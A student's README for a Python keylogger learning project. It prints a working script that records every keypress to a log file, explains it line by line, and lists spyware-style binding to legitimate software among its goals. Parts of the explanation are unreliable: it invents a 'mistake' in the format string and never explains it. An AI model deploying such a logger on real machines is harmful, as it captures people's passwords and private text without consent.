# NAME : ABHISHEK PRASAD

# PROJECT : KEYLOGGER

## DESCRIPTION :

In computing, a keylogger is a piece of software that monitors all the keystrokes that take place on a computer's keyboard. It monitors previously pressed and currently active keys to record user activity. You can consider the following project on the concept of keylogging:

- Create a script that can record keystrokes.
- Create and bind a keylogger with legitimate application/software to record user activity, basically spyware.
- Create a script that can detect the presence of a keylogger on endpoint.

## REQUIREMENTS :

There are certain things you have to install first to run this program or code.

1. Download Python in your system of the latest version, and use IDE like IDLE, VS code or Pycharm for better use.
2. For better understanding, you have to clear all the python basic tutorials and some major ones to.
   These are some of the website from you can learn python
   https://www.w3schools.com
   https://www.geeksforgeeks.org/python-programming-language-tutorial/

3.You have to the module that is compulsory for code to run and execute.

- Pyinput
- Pywin32
- Cryptography
- Scipy
- Sounddevice
- Requests

# CODE AND EXPLANATION :

```
from pynput.keyboard import Key, Listener
import logging

# Make a log
log_dir = ""

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()
```

Here's a line-by-line explanation of the Python code:

```
from pynput.keyboard import Key, Listener
```

This imports two components from the `pynput` library:

- `Key`: A class that represents the keyboard keys (both regular and special ones like Shift, Enter, etc.).

- `Listener`: A class that listens to keyboard events, such as key presses and releases.

```
import logging
```

This imports the `logging` module, which provides a flexible framework for emitting log messages from Python programs. You will use it to record the keys that are pressed into a log file.

```
# Make a log
log_dir = ""
```

This initializes a string variable `log_dir` as an empty string. You can modify this variable to specify the directory where the log file will be stored. For now, the log file will be stored in the current working directory.

```
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
```

This configures the logging system to:

- **filename**: Set the file where the log messages will be saved. The log file is named `key_log.txt` and is located in the directory specified by `log_dir`.

- **level**: Set the logging level to `DEBUG`, meaning all events from `DEBUG` level and higher (like `INFO`, `WARNING`, etc.) will be logged.

- **format**: Set the format for log messages. It specifies that each log entry should include the timestamp (`%(asctime)s`) and a custom message (`%(messages)`), but there is a mistake in the format here (explained later).

```
def on_press(key):
    logging.info(str(key))
```

This defines a function `on_press` that is called whenever a key is pressed. The function:

- Converts the `key` object (representing the pressed key) to a string using `str(key)`.

- Logs the key press using `logging.info`, which records the event in the log file.

```
with Listener(on_press=on_press) as listener:
    listener.join()
```

This block:

- Creates a `Listener` object that listens for key presses and calls the `on_press` function whenever a key is pressed.

- Starts the listener with the `with` statement, which ensures proper initialization and cleanup of the listener.

- The `listener.join()` method keeps the listener running, waiting for key press events indefinitely, until the listener is stopped.

# SUMMARY:

This was just a project made by me to leran and test new things in cybersecurity fiileds and domain.

# Regards:

Abhishek Prasad.